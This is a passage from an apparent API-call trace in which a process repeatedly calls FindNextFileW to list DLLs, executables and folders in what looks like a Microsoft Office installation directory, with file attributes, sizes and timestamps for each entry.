ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xbd4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0129.544] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83189ec0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0129.544] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83543a09, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83543a09, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831fc5e0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831fc5e0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83543a09, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83543a09, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83189ec0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834d1316, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834f7581, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834ab261, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834ab261, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834ab261, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834ab261, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834f7581, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0129.546] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834ab261, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834ab261, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0129.546] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834d1316, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0129.546] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834ab261, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834ab261, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0129.546] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0129.546] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834f7581, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0129.546] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0129.546] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0129.547] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83543a09, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83543a09, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0129.547] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0129.547] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8383e900, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0129.547] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834d1316, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0129.547] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0129.547] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c530, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appshapi.dll", cAlternateFileName="")) returned 1 [0129.547] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7e48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppSharingChromeHook64.dll", cAlternateFileName="APPSHA~2.DLL")) returned 1 [0129.548] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf77004f0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa048, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppSharingHookController64.exe", cAlternateFileName="APPSHA~1.EXE")) returned 1 [0129.548] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7c11d2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25048, dwReserved0=0x0, dwReserved1=0x0, cFileName="appsharingmediaprovider.dll", cAlternateFileName="APPSHA~1.DLL")) returned 1 [0129.548] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1688e076, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57730, dwReserved0=0x0, dwReserved1=0x0, cFileName="appshcom.dll", cAlternateFileName="")) returned 1 [0129.548] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x341130, dwReserved0=0x0, dwReserved1=0x0, cFileName="appshvw.dll", cAlternateFileName="")) returned 1 [0129.548] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834d1316, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0129.548] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834d1316, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0129.548] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="AUDIOS~1.DLL")) returned 1 [0129.548] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x156860, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="AUDIOS~2.DLL")) returned 1 [0129.549] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1770252c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x223c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="AUDIOS~3.DLL")) returned 1 [0129.549] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b5bbeb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoHelper.dll", cAlternateFileName="AUTOHE~1.DLL")) returned 1 [0129.549] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x176dc2d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="BDCMET~1.XSD")) returned 1 [0129.549] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1770252c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="BDCMET~2.XSD")) returned 1 [0129.549] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0129.549] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0129.549] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0129.549] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834d1316, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0129.550] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc31d8fc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaf4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHART.DLL", cAlternateFileName="")) returned 1 [0129.550] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe206bc31, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef8a36d6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef8a36d6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x76658, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0129.550] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1754c10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1754c10, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee3545e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0129.550] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71c89, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommunicatorContentBinApp.xap", cAlternateFileName="COMMUN~1.XAP")) returned 1 [0129.550] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: 